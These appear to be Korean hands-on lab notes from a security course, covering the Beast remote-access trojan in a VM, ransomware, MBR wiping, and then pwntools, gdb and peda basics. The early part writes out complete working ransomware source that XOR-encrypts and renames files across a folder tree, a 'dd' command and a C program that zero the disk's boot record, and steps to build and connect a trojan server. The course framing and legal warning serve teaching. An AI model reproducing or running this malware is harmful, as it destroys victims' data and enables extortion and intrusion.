실습> 악성코드 다운로드
Client Server
Attacker Victim
+------------+ +------------+
| | | |
| | | 6666 |
| -------------> |
| | | |
| | | |
+------------+ +------------+
.5 .4
200.200.200.0/24
1. 악성 프로그램 다운로드
http://intranet.linuxmaster.net/Data/Beast.zip
다운로드 받으면 VM 안에 옮겨서 Beast.zip 압축을 해제한다.
C:\>ipconfig
Windows IP Configuration
Ethernet adapter 로컬 영역 연결:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 200.200.200.4
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 200.200.200.2
C:\>netstat -na
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1026 0.0.0.0:0 LISTENING
TCP 200.200.200.4:139 0.0.0.0:0 LISTENING
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:500 *:*
UDP 0.0.0.0:1025 *:*
UDP 0.0.0.0:4500 *:*
UDP 127.0.0.1:123 *:*
UDP 127.0.0.1:1900 *:*
UDP 200.200.200.4:123 *:*
UDP 200.200.200.4:137 *:*
UDP 200.200.200.4:138 *:*
UDP 200.200.200.4:1900 *:*
Wine:
리눅스에서 윈도우 프로그램을 실행시키는 프로그램
공격자 Kali에서 Wine 프로그램을 설치해서 사용
2. Server 생성 및 실행
원래는 Attacker에서 여러가지 취약점을 이용해서 감염시킨 후 사용해야 하지만
시간관계상 Victim에서 생성한다.
Build Server 를 이용해서 server.exe를 생성한다.
- 다양한 형태로 생성이 가능하다.
- bind connection, reverse connection, 아이콘 변경 ...
- 접속 암호 설정, 포트 설정 ...
sysinternal 프로그램에서 tcpview.exe, procexp.exe를 실행해서 모니터링한다.
server.exe를 실행한다.
- 6666 포트가 열린다.
- svchost.exe로 실행한다.
3. 접속
Attacker에서 접속한다.
Beast2.07.exe 파일을 실행해서 Victim으로 접속한다.
Host: 200.200.200.4
Port: 6666
Password:
Go Beast! 버튼을 클릭한다.
분석용으로만 사용하자!!!
실제로 사용하면 정보통신망법에 문제가 될 수 있다.
Ransomware
https://github.com/ncorbuk/Python-Ransomware
https://github.com/Fytex/simple-ransomware/blob/master/main.c
실습> Dev-Cpp 설치하기
Host OS에서 다운로드 받아서 WinXP에 설치한다.
Dev-Cpp 공식 사이트:
https://sourceforge.net/projects/orwelldevcpp/
intranet 서버:
http://intranet.linuxmaster.net/Data/Dev-Cpp 5.11 TDM-GCC 4.9.2 Setup.exe
RansomeWare 다운로드
https://github.com/Fytex/simple-ransomware/blob/master/main.c
RansomeWareTest.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <Windows.h>
#define RELATIVE_FOLDER "\\RansomeWareTest" // 0 - User's path
// #define RELATIVE_FOLDER "\\Desktop" // 0 - User's path
#define CRYPTO_NUM 21
#define CRYPTO_EXT ".H43"
#define CRYPTO_EXT_LEN 4
#define CRYPTO_ENV_NAME "H43_xor_encryption"
#define CRYPTO_ENV_VALUE "H43"
int encrypt = -1; // 1 - encrypt, 0 - decrypt, -1 - undefined
void print_ascii_art() {
puts("\n\n"
"\t\t\tHHHHHHHHH HHHHHHHHH 444444444 333333333333333\n"
"\t\t\tH:::::::H H:::::::H 4::::::::4 3:::::::::::::::33\n"
"\t\t\tH:::::::H H:::::::H 4:::::::::4 3::::::33333::::::3\n"
"\t\t\tHH::::::H H::::::HH 4::::44::::4 3333333 3:::::3\n"
"\t\t\t H:::::H H:::::H 4::::4 4::::4 3:::::3\n"
"\t\t\t H:::::H H:::::H 4::::4 4::::4 3:::::3\n"
"\t\t\t H::::::HHHHH::::::H 4::::4 4::::4 33333333:::::3\n"
"\t\t\t H:::::::::::::::::H 4::::444444::::444 3:::::::::::3\n"
"\t\t\t H:::::::::::::::::H 4::::::::::::::::4 33333333:::::3\n"
"\t\t\t H::::::HHHHH::::::H 4444444444:::::444 3:::::3\n"
"\t\t\t H:::::H H:::::H 4::::4 3:::::3\n"
"\t\t\t H:::::H H:::::H 4::::4 3:::::3\n"
"\t\t\tHH::::::H H::::::HH 4::::4 3333333 3:::::3\n"
"\t\t\tH:::::::H H:::::::H 44::::::443::::::33333::::::3\n"
"\t\t\tH:::::::H H:::::::H 4::::::::43:::::::::::::::33\n"
"\t\t\tHHHHHHHHH HHHHHHHHH 4444444444 333333333333333\n\n\n");
}
void xor_encryption (char* file) {
char* ext = strrchr(file, '.');
if (encrypt == -1)
encrypt = strcmp(ext, CRYPTO_EXT) & 1;
else if (encrypt != (strcmp(ext, CRYPTO_EXT) & 1))
return;
FILE *fp;
char *content;
long length;
int i;
fp = fopen(file, "rb+");
if (fp) {
fseek(fp, 0, SEEK_END);
length = ftell(fp);
fseek(fp, 0, SEEK_SET);
content = malloc(length + 1);
if (content) {
length = fread(content, 1, length, fp);
if (length) {
rewind(fp);
char* tmp = content;
for (i = 0; i < length; ++tmp, ++i)
*tmp = *tmp ^ CRYPTO_NUM;
fwrite(content, 1, length, fp);
}
free(content);
}
fclose(fp);
}
if (encrypt) {
char* new_file = (char *) malloc(strlen(file) + CRYPTO_EXT_LEN + 1);
strcpy(new_file, file);
strcat(new_file, CRYPTO_EXT);
rename(file, new_file);
free(new_file);
}
else {
char* old_file = strdup(file);
*ext = '\0';
rename(old_file, file);
free(old_file);
}
}
void files_tree(const char *folder) {
char wildcard[MAX_PATH];
sprintf(wildcard, "%s\\*", folder);
WIN32_FIND_DATA fd;
HANDLE handle = FindFirstFile(wildcard, &fd);
if(handle == INVALID_HANDLE_VALUE) return;
do {
if(strcmp(fd.cFileName, ".") == 0 || strcmp(fd.cFileName, "..") == 0)
continue;
char path[MAX_PATH];
sprintf(path, "%s\\%s", folder, fd.cFileName);
if((fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) && !(fd.dwFileAttributes & (FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_DEVICE)))
files_tree(path);
if (fd.dwFileAttributes & FILE_ATTRIBUTE_ARCHIVE)
xor_encryption(path);
//puts(path);
} while(FindNextFile(handle, &fd));
FindClose(handle);
}
int main(void) {
char* env = getenv(CRYPTO_ENV_NAME);
if (strcmp(env, CRYPTO_ENV_VALUE)) {
//void* home_path = getenv("USERPROFILE");
void* home_path = "C:\RansomeWareTest";
void* path = home_path;
if (RELATIVE_FOLDER) {
path = malloc(strlen(home_path) + strlen(RELATIVE_FOLDER) + 1);
strcpy(path, home_path);
strcat(path, RELATIVE_FOLDER);
}
files_tree(path);
if (RELATIVE_FOLDER)
free(path);
}
print_ascii_art();
return 0;
}
실습> 서버의 MBR 삭제하기
446byte
|
v
|---|
+---------------+
|MBR| |
+---------------+
^
|
+--- 0으로 모두 채운다.
1. DVD 중지
DVD를 Disconnect 한다.
2. MBR 삭제
MBR 영역 446byte를 0으로 채우고 서버를 재부팅한다.
# dd if=/dev/zero of=/dev/sda bs=446 count=1
# reboot
3. 부팅 실패
MBR 영역을 0으로 채웠기 때문에 grub2 프로그램이 삭제가 되어 부팅에 실패한다.
4. 복구
DVD를 Connect 하고 서버를 재부팅한다.
서버가 부팅할 때 [Troubleshooting] > [Rescue]를 선택하고 서버가 부팅되면
아래처럼 메세지가 출력된다.
1) Continue
2) Read-only mount
3) Skip to shell
4) Quit (Reboot)
Please make a selection from the above: 1 <-- 1을 선택한다.
엔터를 치면 셸이 떨어진다.
sh-4.2# chroot /mnt/sysimage
bash-4.2# grub2-install /dev/sda
Installing for i386-pc platform.
Installation finished. No error reported.
bash-4.2#
reboot, exec /sbin/init 명령어가 실행되지 않으므로 서버를 강제로 재부팅한다.
# deleteMBR.c
-- deleteMBR.c --
/*
* 파일명: deleteMBR.c
* 프로그램 설명: MBR 44byte를 삭제하는 악성코드
* 작성자: 리눅스마스터넷
*/
#include <stdio.h>
#define deleteMBR "dd if=/dev/zero of=/dev/sda bs=446 count=1 > /dev/null 2>&1"
int main()
{
system(deleteMBR);
return 0;
}
-- deleteMBR.c --
# gcc -o deleteMBR deleteMBR.c
# ./deleteMBR
# reboot
https://linuxmaster.net/tools/pwntools.txt
https://linuxmaster.net/tools/pwntoolsDocumentation.pdf.gz
https://linuxmaster.net/tools/cLanguage.tar.gz
pwntools 개요
화이트해커의 필수 툴로 리눅스에서 CTF 대회, 포너블(시스템해킹)과 익스플로잇을 좀 더 쉽게 제작할 수 있는
파이썬 라이브러리다. 공식문서는 아래를 참고하고 이미 많은 블로그에 관련 내용들이 있으니 참고한다.
공식사이트: https://github.com/Gallopsled/pwntools
공식 문서: https://docs.pwntools.com/
process("filename") # 로컬 상의 실행 파일을 불러온다.
recv(int) # 표준 출력에서 int 만큼의 문자열을 읽어서 반환한다.
recvuntil("str") # 표준 출력에서 "str"이라는 문자열까지 읽어서 반환한다.
recvline() # 표준 출력에서 한 줄을 읽어서 반환한다. recvuntil("\n")으로도 동일한 동작 구현 가능.
send("str") # 표준 입력에 "str"이라는 문자열을 넣어준다.
sendline("str") # 표준 입력에 "str\n"이라는 문자열을 넣어준다.
interactive() # 유저가 화면에 직접 입출력 할 수 있도록 해준다.
nc 접속 형식:
객체변수명 = remote('IP Address', Port)
SSH 접속 형식:
객체변수명 = ssh('Username', 'IP Address', Port, 'Password')
실습> pwntools 설치
1. rh-python 3.8 설치
# wget --no-check-certificate http://linuxmaster.net/tools/rh-python38.sh
# chmod 755 rh-python38.sh
# ./rh-python38.sh
2. 가상환경 생성
파이썬 가상환경을 생성한다.
[root@localhost ~]# python -m venv pwntoolsProject
[root@localhost ~]# . pwntoolsProject/bin/activate
(pwntoolsProject) [root@localhost ~]# python -m pip install --upgrade pip
(pwntoolsProject) [root@localhost ~]# python -m pip install --upgrade pwntools
3. 소스코드 작성
pwntools를 테스트할 C 프로그램을 제작한다.
# wget --no-check-certificate http://linuxmaster.net/tools/gccInstall.sh
# chmod 755 gccInstall.sh
# ./gccInstall.sh
# vi pwnTest.c
/*
* 파일명: pwnTest.c
* 프로그램 설명: pwntools 입축력을 위한 테스트 프로그램
* 작성자: 리눅스마스터넷
* 작성일: 2023.03.19
*/
#include <stdio.h>
int main()
{
char s[100];
fgets(s, sizeof(s), stdin);
printf("%s", s);
return 0;
}
[root@localhost ~]# gcc -m32 -g -o pwnTest pwnTest.c
[root@localhost ~]# ./pwnTest
Hello pwntools!
4. pwntools 사용하기
파이썬 인터렉티브 셸에서 pwntoos를 사용한다.
(pwntoolsProject) [root@localhost ~]# python
Python 3.8.13 (default, Aug 16 2022, 12:16:29)
[GCC 9.3.1 20200408 (Red Hat 9.3.1-2)] on linux
Type "help", "copyright", "credits" or "license" for more information.
pwntools를 사용하기 위해 pwn 모듈을 import 한다.
>>> from pwn import *
process 클래스의 인수로 실행하고자 하는 ./pwnTest 파일명을 실행시키고 객체 r을 생성한다.
>>> r = process("./pwnTest")
[x] Starting local process './pwnTest'
[+] Starting local process './pwnTest': pid 47240
>>> type(r)
<class 'pwnlib.tubes.process.process'>
다른 터미널에서 ps로 확인하면 ./pwnTest 프로세스가 실행중인걸 확인할 수 있다.
# ps -eLf|grep -E 'PID|pwnTest'
UID PID PPID LWP C NLWP STIME TTY TIME CMD
root 47240 46838 47240 0 1 13:58 pts/8 00:00:00 ./pwnTest
root 47242 47127 47242 0 1 13:58 pts/2 00:00:00 grep --color=auto -E PID|pwnTest
다시 파이썬 인터렉티브 셸로 돌아와서 send() 메소드를 호출해서 데이터를 입력한다.
process("./pwnTest")로 ./pwnTest 프로그램을 실행시키면 화면에서 직접 입력할 수는 없고 인스턴스 변수 r을 이용해서
send() 메소드를 호출하면 파이썬 코드를 통해서 ./pwnTest 프로세스의 stdin에 입력할 수 있다.
입력할 때는 엔터(\n)키가 입력될 때 까지 데이터를 넣어줄 수 있고 엔터(\n)가 입력되면 입력을 종료한다.
>>> r.send("12345678")
>>> r.send("90123456789012345\n")
입력이 완료되면 다른 터미널에서 ps로 다시 확인했을 때 ./pwnTest 프로세스가 종료(<defunct>)된걸 확인할 수 있다.
# ps -eLf|grep -E 'PID|pwnTest'
UID PID PPID LWP C NLWP STIME TTY TIME CMD
root 47240 46838 47240 0 1 13:58 ? 00:00:00 [pwnTest] <defunct>
root 47261 47127 47261 0 1 14:08 pts/2 00:00:00 grep --color=auto -E PID|pwnTest
# ps aux|grep -E 'PID|pwnTest'
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 47240 0.0 0.0 0 0 ? Zs 13:58 0:00 [pwnTest] <defunct>
root 47265 0.0 0.1 116976 1024 pts/2 R+ 14:09 0:00 grep --color=auto -E PID|pwnTest
다시 파이썬 인터렉티브 셸로 돌아와서 recv() 메소드를 호출하면 stdout으로 출력된 전체 문자열을 읽어 값을 리턴한다.
send() 메소드로 전달한 값이 50byte가 안되므로 전체 문자열이 읽혀졌다.
>>> r.recv(50)
[*] Process './pwnTest' stopped with exit code 0 (pid 47240)
b'1234567890123456789012345\n'
다른 터미널에서 ps로 확인하면 좀비 프로세스로 남아있던 pwnTest 프로세스는 부모프로세스가 걷어들여서 사라지게 된다.
[root@localhost ~]# ps aux|grep -E 'PID|pwnTest'
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 47268 0.0 0.1 116976 1024 pts/2 R+ 14:13 0:00 grep --color=auto -E PID|pwnTest
사용이 완료되면 파이썬을 종료한다.
>>> quit()
실습> 파이썬 파일로 생성해서 사용하기 1
1. 소스코드 작성
(pwntoolsProject) [root@localhost ~]# vi pwnTest.py
#!/usr/bin/env python
"""
파일명: pwnTest.py
프로그램 설명: pwntools 입출력을 위한 파이썬 프로그램
작성자: 리눅스마스터넷
"""
from pwn import *
programName = "./pwnTest"
r = process(programName)
r.send(b"12345678")
#r.send(b"90123456789012345\n")
r.sendline(b"90123456789012345")
data = r.recv(50)
print(data)
2. 프로그램 실행
(pwntoolsProject) [root@localhost ~]# chmod 755 pwnTest.py
(pwntoolsProject) [root@localhost ~]# ./pwnTest.py
[+] Starting local process './pwnTest': pid 47417
b'1234567890123456789012345\n'
[*] Process './pwnTest' stopped with exit code 0 (pid 47417)
실습> 파이썬 파일로 생성해서 사용하기 2
1. nc 포트 오픈
[root@localhost ~]# nc -lvp 8000
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000
2. 소스코드 작성
(pwntoolsProject) [root@localhost ~]# vi pwnTest2.py
#!/usr/bin/env python
"""
파일명: pwnTest2.py
프로그램 설명: pwntools 입출력을 위한 파이썬 프로그램
작성자: 리눅스마스터넷
"""
from pwn import *
programName = "./pwnTest"
p = remote("127.0.0.1", 8000)
p.sendline(b"123456789012345")
p.close()
3. 프로그램 실행
(pwntoolsProject) [root@localhost ~]# chmod 755 pwnTest2.py
(pwntoolsProject) [root@localhost ~]# ./pwnTest2.py
4. nc 종료
[root@localhost ~]# nc -lvp 8000
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:47362.
123456789012345
[root@localhost ~]#
실습> pwntools를 이용한 ssh 접속하기 1
SSH 접속 형식:
객체변수명 = ssh('Username', 'IP Address', Port, 'Password')
1. 네트워크 상태 모니터링
[root@localhost ~]# yum -y install net-tools
[root@localhost ~]# watch netstat -nat
Every 2.0s: netstat -nat Sat Mar 4 16:19:44 2023
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 0 200.200.200.3:22 200.200.200.1:10610 ESTABLISHED
tcp 0 36 200.200.200.3:22 200.200.200.1:11166 ESTABLISHED
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 ::1:25 :::* LISTEN
2. ssh 접속
(pwntoolsProject) [root@localhost ~]# python
Python 3.8.13 (default, Aug 16 2022, 12:16:29)
[GCC 9.3.1 20200408 (Red Hat 9.3.1-2)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> s = ssh(user='user1', host='127.0.0.1', port=22, password='111111')
[x] Connecting to 127.0.0.1 on port 22
[+] Connecting to 127.0.0.1 on port 22: Done
[*] user1@127.0.0.1:
Distro Unknown
OS: linux
Arch: amd64
Version: 3.10.0
ASLR: Enabled
>>>
Every 2.0s: netstat -nat <날짜와 시간>
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:35940 127.0.0.1:22 ESTABLISHED <-- pwntools로 연결된 부분
tcp 0 0 127.0.0.1:22 127.0.0.1:35940 ESTABLISHED <-- pwntools로 연결된 부분
tcp 0 0 200.200.200.3:22 200.200.200.1:10610 ESTABLISHED
tcp 0 36 200.200.200.3:22 200.200.200.1:11166 ESTABLISHED
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 ::1:25 :::* LISTEN
3. ssh 접속 종료
>>> s.close()
[*] Closed connection to '127.0.0.1'
Every 2.0s: netstat -nat <날짜와 시간>
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 0 200.200.200.3:22 200.200.200.1:10610 ESTABLISHED
tcp 0 0 127.0.0.1:35942 127.0.0.1:22 TIME_WAIT <-- pwntools로 접속이 종료된 부분
tcp 0 36 200.200.200.3:22 200.200.200.1:11166 ESTABLISHED
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 ::1:25 :::* LISTEN
실습> pwntools를 이용한 ssh 접속하기 2
SSH 접속 형식:
객체변수명 = ssh('Username', 'IP Address', Port, 'Password')
1. 사용자 생성
[root@localhost ~]# useradd user1
[root@localhost ~]# passwd --stdin user1
user1 사용자의 비밀 번호 변경 중
111111
passwd: 모든 인증 토큰이 성공적으로 업데이트 되었습니다.
2. 네트워크 상태 모니터링
[root@localhost ~]# yum -y install net-tools
[root@localhost ~]# netstat -nat
3. SSH 접속
(pwntoolsProject) [root@localhost ~]# python
Python 3.8.13 (default, Aug 16 2022, 12:16:29)
[GCC 9.3.1 20200408 (Red Hat 9.3.1-2)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> s = ssh(user='user1', host='127.0.0.1', port=22, password='111111')
[x] Connecting to 127.0.0.1 on port 22
[+] Connecting to 127.0.0.1 on port 22: Done
[*] user1@127.0.0.1:
Distro Unknown
OS: linux
Arch: amd64
Version: 3.10.0
ASLR: Enabled
>>> sh = s.run('sh')
[x] Opening new channel: 'sh'
[+] Opening new channel: 'sh': Done
>>> sh.sendline(b'pwd')
>>> sh.recvline().decode()
'sh-4.1$ /home/user1\n'
>>> sh.sendline(b'ls -a')
>>> sh.recvline().decode()
'sh-4.1$ . .. .bash_history .bash_logout .bash_profile .bashrc\n'
>>> sh.sendline(b'ls -al')
>>> sh.recvline().decode()
'sh-4.1$ 합계 16\n'
>>> sh.recvline().decode()
'drwx------. 2 user1 users 83 3월 4 07:43 .\n'
>>> sh.recvline().decode()
'drwxr-xr-x. 6 root root 66 3월 4 07:16 ..\n'
>>> sh.recvline().decode()
'-rw-------. 1 user1 users 9 3월 4 16:09 .bash_history\n'
>>> sh.recvline().decode()
'-rw-r--r--. 1 user1 users 18 7월 18 2013 .bash_logout\n'
>>> sh.recvline().decode()
'-rw-r--r--. 1 user1 users 176 7월 18 2013 .bash_profile\n'
>>> sh.recvline().decode()
'-rw-r--r--. 1 user1 users 124 7월 18 2013 .bashrc\n'
>>> s.close()
[*] Closed connection to '127.0.0.1'
>>> quit()
[*] Closed SSH channel with 127.0.0.1
(pwntoolsProject) [root@localhost ~]#
4. 네트워크 상태 모니터링
[root@localhost ~]# yum -y install net-tools
[root@localhost ~]# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 0 200.200.200.3:22 200.200.200.1:10610 ESTABLISHED
tcp 0 0 200.200.200.3:60174 113.29.189.165:80 TIME_WAIT
tcp 0 36 200.200.200.3:22 200.200.200.1:11166 ESTABLISHED
tcp 0 0 127.0.0.1:35936 127.0.0.1:22 ESTABLISHED <-- pwntools로 연결된 부분
tcp 0 0 127.0.0.1:22 127.0.0.1:35936 ESTABLISHED <-- pwntools로 연결된 부분
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 ::1:25 :::* LISTEN
[root@localhost ~]# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 0 200.200.200.3:22 200.200.200.1:10610 ESTABLISHED
tcp 0 36 200.200.200.3:22 200.200.200.1:11166 ESTABLISHED
tcp 0 0 127.0.0.1:35936 127.0.0.1:22 TIME_WAIT <-- pwntools로 접속이 종료된 부분
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 ::1:25 :::* LISTEN
실습> pwntools를 이용한 nc 접속하기
nc 접속 형식:
객체변수명 = remote('IP Address', Port)
Server: nc
Client: pwntools
1. nc 포트 오픈
[root@localhost ~]# yum -y install nc
[root@localhost ~]# nc -lvp 8000
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000
2. Server 접속
(pwntoolsProject) [root@localhost ~]# python
Python 3.8.13 (default, Aug 16 2022, 12:16:29)
[GCC 9.3.1 20200408 (Red Hat 9.3.1-2)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
(1). 서버로 접속한다.
>>> r = remote('127.0.0.1', 8000)
[x] Opening connection to 127.0.0.1 on port 8000
[x] Opening connection to 127.0.0.1 on port 8000: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 8000: Done
(2.1). Hello\n 메세지를 서버로 전송한다.
>>> r.send(b'Hello\n')
(3.1). pwntools!\n 메세지를 서버로 전송한다.
>>> r.send(b'pwntools!\n')
(4.2). 서버가 전송한 Hello...\n 메세지를 받아서 문자열로 변환한 후 화면에 출력한다.
>>> r.recv(100).decode()
'Hello...\n'
(5.1). 대화형 모드로 전환한다.
>>> r.interactive()
[*] Switching to interactive mode
hello <-- (5.2). hello\n 메세지를 서버로 전송한다.
test <-- (5.4). test\n 메세지를 서버로 전송한다.
^C[*] Interrupted <-- (5.6). 대화형 모드를 중지한다.
>>> r.send("^^*") <-- (6.1). ^^* 메세지를 서버로 전송한다. (엔터키 없음, Byte로 전송하지 않았으므로 BytesWarning이 발생함.)
<stdin>:1: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
>>> r.send(b"^^*") <-- (7.1). ^^* 메세지를 서버로 전송한다. (엔터키 없음)
>>> r.sendline(b"^^*") <-- (8.1). ^^* 메세지를 서버로 전송한다. (엔터키 있음)
>>> r.close() <-- (9.1). 접속을 종료한다.
[*] Closed connection to 127.0.0.1 port 8000
>>> quit()
(pwntoolsProject) [root@localhost ~]#
3. Server 분석
서버쪽에서 확인한다.
[root@localhost ~]# nc -lvp 8000
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:47360. <-- (1). 클라이언트가 서버로 접속하면 연결된 메세지가 출력된다.
Hello <-- (2.2). 클라이언트가 전송한 Hello\n 메세지가 화면에 출력된다.
pwntools! <-- (3.2). 클라이언트가 전송한 pwntools!\n 메세지가 화면에 출력된다.
Hello... <-- (4.1). Hello...\n 메세지를 클라이언트로 전송한다.
hello <-- (5.3). 클라이언트가 전송한 hello\n 메세지가 화면에 출력된다.
test <-- (5.5). 클라이언트가 전송한 test\n 메세지를 서버로 전송한다.
^^*^^*^^* <-- (6.2). (7.2). 클라이언트가 전송한 ^^* 메세지가 화면에 출력된다. (엔터키 없음) (8.2). 클라이언트가 전송한 ^^* 메세지가 화면에 출력된다. (엔터키 있음)
[root@localhost ~]# <-- (9.2). 클라이언트가 접속을 종료하면 nc가 종료된다.
실습> pwntools를 이용한 웹서버 접속하기
(pwntoolsProject) [root@localhost ~]# python
Python 3.8.13 (default, Aug 16 2022, 12:16:29)
[GCC 9.3.1 20200408 (Red Hat 9.3.1-2)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> r = remote('linuxmaster.net', 80)
[x] Opening connection to linuxmaster.net on port 80
[x] Opening connection to linuxmaster.net on port 80: Trying 45.120.69.175
[+] Opening connection to linuxmaster.net on port 80: Done
>>> r.send(b"GET / HTTP/1.1\r\n")
>>> r.send(b"Host: www.linuxmaster.net\r\n")
>>> r.send(b"\r\n\r\n")
>>> responseData = r.recv(1000)
>>> r.close()
[*] Closed connection to linuxmaster.net port 80
>>> print(responseData)
b'HTTP/1.1 302 Found\r\nDate: Sun, 19 Mar 2023 12:26:51 GMT\r\nServer: Apache\r\nLocation: https://www.linuxmaster.net/\r\nContent-Length: 212\r\nContent-Type: text/html; charset=iso-8859-1\r\n\r\n<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">\n<html><head>\n<title>302 Found</title>\n</head><body>\n<h1>Found</h1>\n<p>The document has moved <a href="https://www.linuxmaster.net/">here</a>.</p>\n</body></html>\n'
>>> print(responseData.decode())
HTTP/1.1 302 Found
Date: Sun, 19 Mar 2023 12:26:51 GMT
Server: Apache
Location: https://www.linuxmaster.net/
Content-Length: 212
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="https://www.linuxmaster.net/">here</a>.</p>
</body></html>
>>> quit()
실습> 소스코드 컴파일하는 방법
# cd
# wget --no-check-certificate http://linuxmaster.net/tools/gccInstall.sh
# chmod 755 gccInstall.sh
# ./gccInstall.sh
# wget https://linuxmaster.net/tools/cLanguage.tar.gz --no-check-certificate
# tar xzf cLanguage.tar.gz
# cd cLanguage/Day01
# vi c_Chap01Ex01.c
파일이 euckr로 저장되어 있으므로 한글을 사용하기 위해서는 소스코드를 모두 utf8로 수정해야 한다.
한글이 필요없다면 변경하지 않아도 된다.
:set fileencoding=utf8
:w
실습> gdb 사용하기
02.프로그래밍/02.C언어/gdb분석.txt
실습> 소스코드를 32bit로 컴파일 하기
소스코드를 32bit로 컴파일하기 위해서는 -m32 옵션을 사용한다.
gdb로 바이너리를 분석하기 위해서 먼저 32bit로 분석하고 익숙해지면 64bit로 분석한다.
gdb로 분석하기 위해서 32bit로 컴파일한다.
# gcc -m32 -g -o c_Chap01Ex01 c_Chap01Ex01.c
# ./c_Chap01Ex01
Hello C!
실습> rh-python 3.8 설치
# wget --no-check-certificate http://linuxmaster.net/tools/rh-python38.sh
# chmod 755 rh-python38.sh
# ./rh-python38.sh
# python -V
Python 3.8.13
실습> peda 설치하기
peda는 블랙햇에서 발표된 툴로 화이트해커들이 바이너리를 분석하기 위해서 사용하는 툴이다.
peda는 python2와 python3가 있고 여기서는 python3 용 peda를 설치한다.
# yum -y install git
# git clone https://github.com/zachriggle/peda ~/peda
# echo "source ~/peda/peda.py" >> ~/.gdbinit
# gdb test1
gdb-peda$ b main
Breakpoint 1 at 0x8048416: file test1.c, line 13.
gdb-peda$ r
Starting program: /root/test1
[------------------------------------------registers-------------------------------------------]
EAX: 0x1
EBX: 0xf7fce000 --> 0x1c6d88
ECX: 0xac8d1dd8
EDX: 0xffffd514 --> 0xf7fce000 --> 0x1c6d88
ESI: 0x0
EDI: 0x0
EBP: 0xffffd4e8 --> 0x0
ESP: 0xffffd4c0 --> 0x1
EIP: 0x8048416 (<main+9>: mov DWORD PTR [esp+0x1c],0x7)
[---------------------------------------------code---------------------------------------------]
0x804840e <main+1>: mov ebp,esp
0x8048410 <main+3>: and esp,0xfffffff0
0x8048413 <main+6>: sub esp,0x20
=> 0x8048416 <main+9>: mov DWORD PTR [esp+0x1c],0x7
0x804841e <main+17>: mov eax,DWORD PTR [esp+0x1c]
0x8048422 <main+21>: mov DWORD PTR [esp+0x4],eax
0x8048426 <main+25>: mov DWORD PTR [esp],0x80484d4
0x804842d <main+32>: call 0x80482e0 <printf@plt>
[--------------------------------------------stack---------------------------------------------]
00:0000| esp 0xffffd4c0 --> 0x1
01:0004| 0xffffd4c4 --> 0xffffd584 --> 0xffffd6d4 ("/root/test1")
02:0008| 0xffffd4c8 --> 0xffffd58c --> 0xffffd6e0 ("MANPATH=/opt/rh"...)
03:0012| 0xffffd4cc --> 0xf7e399ed (<__cxa_atexit_internal+29>: test eax,eax)
04:0016| 0xffffd4d0 --> 0xf7fce3c4 --> 0xf7fcf200 --> 0x0
05:0020| 0xffffd4d4 --> 0x8000
06:0024| 0xffffd4d8 --> 0x804844b (<__libc_csu_init+11>: add ebx,0x1bb5)
07:0028| 0xffffd4dc --> 0xf7fce000 --> 0x1c6d88
[----------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
Breakpoint 1, main () at test1.c:13
